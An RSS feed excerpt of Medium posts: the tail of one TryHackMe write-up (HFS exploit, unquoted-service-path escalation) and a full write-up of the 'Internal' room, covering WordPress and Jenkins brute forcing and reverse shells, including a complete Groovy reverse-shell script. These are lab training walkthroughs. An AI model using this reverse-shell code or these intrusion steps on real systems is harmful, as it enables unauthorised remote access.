            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/300/1*ggpSDx6rIeoWBGFeMv6Fdg.jpeg" /><figcaption>Machine’s Logo</figcaption></figure><h4>Reconnaissance</h4><p>Then nmap tool yielded a batch of ports that are open which makes us think that we may dealing with a Microsoft Windows machine (Figure 1)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VrewX6Oj9sCBIthgA9dDLw.png" /><figcaption>Figure 1: nmap Service Scan</figcaption></figure><h3>Enumeration</h3><h4>Port 80</h4><p>Navigating to <a href="http://steelm.thm/">http://steelm.thm</a>, a picture of the employee of the month was displayed, Bill Harper (Figure 2)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*1S9_AmpW9MxIda5BMLeU1g.png" /><figcaption>Figure 2: Employee of the Month</figcaption></figure><h4>Port 8080</h4><p>By navigating to <a href="http://steelm.thm:8080/">http://steelm.thm:8080</a>, a web file service was displayed to us (Figure 3)</p><p>Vulnerability research on the HttpFileServer 2.3 yielded that this version is exploitable as what’s more Metasploit has an exploit module for us (Figure 4)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9_6FT9rDhy_zUReaQm3D-w.png" /><figcaption>Figure 3: HttpFileServer</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eJgxexQrCr4YH1G0JoLQIA.png" /><figcaption>Figure 4: Vulnerability Research</figcaption></figure><h3>Exploitation</h3><p>Armored with the knowledge that metasploit has an exploit for the vulnerable version of HTTP File Server, we were able to get access on the machine (Figure 5)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rgrbDZcBamh-1T9-4PnH9Q.png" /><figcaption>Figure 5: Exploitation</figcaption></figure><h3>Post-Exploitation</h3><p>By running <em>PowerUp.ps1</em> on the host, we were able to identify that there is a vulnerable definition of a service, unquoted service path (Figure 6)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FXQvGqrkrY7fKr9vej5wXg.png" /><figcaption>Figure 6: PowerUp.ps1 Findings</figcaption></figure><p>By querying the service to get a more clearer picture, the path that we are interested in is <em>C:\Program Files (x86)\IObit\Advanced SystemCare\ </em>and the user is able to write to on <em>C:\Program Files (x86)\IObit\</em> folder (Figure 7,8)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yYZ4cm6iagBhd46efbKc_g.png" /><figcaption>Figure 7: Querying Service</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xo7r44AjAHXKc7ljQKu2QA.png" /><figcaption>Figure 8: Checking User’s Permissions</figcaption></figure><h4>Unquoted Service Path Exploitation</h4><p>By utilizing msfvenom to create a reverse shell executable under the name of Advanced.exe and then we will drop it on <em>C:\Program Files (x86)\IObit</em> path (Figure 9). After stopping and enabling the service, we were able to escalate our privileges (Figure 10,11)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lwp0fQu-SnpmxHDXAydZuA.png" /><figcaption>Figure 9: Dropping Malicious File</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OxAWEDrKA5gMOkm2IlnOOQ.png" /><figcaption>Figure 10: Stopping &amp; Starting Vulnerable Service</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*0yzzrHpVrIvOeSBT8_XWLQ.png" /><figcaption>Figure 11: Privilege Escalation</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fd9921275017" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Internal]]></title>
            <link>https://medium.com/@stavrosgounis/internal-7ba4eb0204c6?source=rss-fbe4f961402d------2</link>
            <guid isPermaLink="false">https://medium.com/p/7ba4eb0204c6</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ssh-tunneling]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Stavros Gkounis]]></dc:creator>
            <pubDate>Mon, 09 Jan 2023 12:03:33 GMT</pubDate>
            <atom:updated>2023-01-09T12:03:33.931Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oG_2PvyNNQHQ6ZBkF2osdQ.jpeg" /><figcaption>Machine’s Logo</figcaption></figure><h3>Reconnaissance</h3><p>The nmap tool yielded that two ports are open, 22 and 80 (Figure 1)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qx5yCusLH97FdQWbuIA4XQ.png" /><figcaption>Figure 1: nmap Service Scan</figcaption></figure><h3>Enumeration</h3><p>By navigating to <a href="http://internal.thm/">http://internal.thm</a>, a default apache2 page was displayed (Figure 2)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hUa2UIVANOguSV753HC_Pg.png" /><figcaption>Figure 2: Apache Default Page</figcaption></figure><h4>Directory Busting</h4><p>Conducting a directory busting the following directories were revealed (Figure 3)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YyB2foAVhRbHVYLw71CWsg.png" /><figcaption>Figure 3: Directory Busting</figcaption></figure><h4>/blog Directory</h4><p>The <em>/blog</em> directory contains a WordPress blog and from the welcome post we can determine that there is at least on user, <em>admin</em> (Figure 4)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tFbWiN9KS2drKsAjQ4A48g.png" /><figcaption>Figure 4: WordPress Welcome Post</figcaption></figure><h4>wp-login Portal</h4><p>By navigating to <em>/wp-login, </em>the classic WordPress login portal was displayed on which we did not have an easy win with <em>admin:admin</em> credentials (Figure 5)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/696/1*immY93EbQP9xYkaZPxsgPw.png" /><figcaption>Figure 5: WordPress Login Portal</figcaption></figure><p>But by brute forcing the admin’s password via <em>wfuzz</em>, we were able to authenticate ourselves as admin (Figure 6,7)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HMJE4xQkdRUF3OlT1mAi-g.png" /><figcaption>Figure 6: Brute Forcing Admin’s Password</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-6SQY_LtlDsVxGrDdKog1Q.png" /><figcaption>Figure 7: WordPress Dashboard as Admin</figcaption></figure><h3>Exploitation</h3><p>Now that we have admin right on the WordPress, we can overwrite the 404.php contains with a php reverse shell code and by executing it we will get a reverse shell (Figure 8, 9)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qov3Y1Qf4bvDQYZX0VLLng.png" /><figcaption>Figure 8: PHP Reverse Shell on 404.php File</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KDYsrYTk8cISv0xgfMMu1A.png" /><figcaption>Figure 9: Getting Reverse Shell</figcaption></figure><h3>Post-Exploitation</h3><h4>Host Enumeration</h4><p>By inspecting the <em>/etc/passwd</em>, we found that there is another normal user, aubreanna (Figure 10)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L8722B2IPyjBA3q3onFIBA.png" /><figcaption>Figure 10: /etc/passwd Contents</figcaption></figure><p>Further enumeration yielded that there is a MySQL and HTTP server running locally (Figure 11)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fQ8CzasqY-Ycpiwhaj9g2g.png" /><figcaption>Figure 12: Local Services</figcaption></figure><p>Probing of MySQL server and phpmyadmin and wordpress databases yielded some passwords but did not gave us the momentum to escalate our privileges. Though inspection of the processes being run on the host yielded that the port 8080 run a jenkins service (Figure 13)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BvLi4qFMNwQPOinf83ybpA.png" /><figcaption>Figure 13: ps aux result</figcaption></figure><p>Finally checking files all around, we found <em>/opt/wp-save.txt </em>which gave us the creds for the aubreanna account, which we used them to login via ssh (Figure 14,15)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0Pb_El19ZLLUN8DF8T4tTw.png" /><figcaption>Figure 14: /opt/wp-save.txt contents</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*STb8DKca1FwIAkRsyR42yQ.png" /><figcaption>Figure 15: Aubreanna log in</figcaption></figure><p>Now having the credentials of the aubreanna account we can port forward the local port 8080 with the aim of probing it further (Figure 16)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w_buW0jeNxoEfSVeNaI1qQ.png" /><figcaption>Figure 16: SSH Tunneling — Port Forward</figcaption></figure><h4>Jenkins Enumeration</h4><p>By navigating to <a href="http://localhost:6767/">http://localhost:6767</a> we were able to access the jenkins service (Figure 17)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LwsOlRB-j-BAjPbm0df9Fg.png" /><figcaption>Figure 17: Jenkins Service Accessed</figcaption></figure><p>By brute forcing the credentials of the admin account, we were able to authenticate ourselves providing the password <em>spongebob</em> (Figure 18,19)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kdrXzKzBGF4M67uUzX5ldQ.png" /><figcaption>Figure 18: Brute Forcing admin’s Password</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kbTAsNpr3HWKvkT2m3MZjA.png" /><figcaption>Figure 19: Accessing Jenkins as Admin</figcaption></figure><p>By selecting <em>Manage Jenkins</em> and clicking on <em>Script Console</em>, we can prove our groovy reverse shell code (see code section) and get a reverse shell back (Figure 20)</p><pre>// Reference -&gt; https://gist.githubusercontent.com/frohoff/fed1ffaab9b9beeb1c76/raw/7cfa97c7dc65e2275abfb378101a505bfb754a95/revsh.groovy<br>String host=&quot;localhost&quot;; // Change this<br>int port=8044; // Change This<br>String cmd=&quot;/bin/bash&quot;; // Mind the OS<br>Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()&gt;0)so.write(pi.read());while(pe.available()&gt;0)so.write(pe.read());while(si.available()&gt;0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/924/1*Y4KITgMkr251N23f5FY4hQ.png" /><figcaption>Figure 20: Reverse Shell</figcaption></figure><p>Finally in the file <em>/opt/note.txt</em>, we found the credentials of the root account (Figure 21)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UHVWmh8uZFx2G5B03mTlRQ.png" /><figcaption>Figure 21: /opt/note.txt contents</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7ba4eb0204c6" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>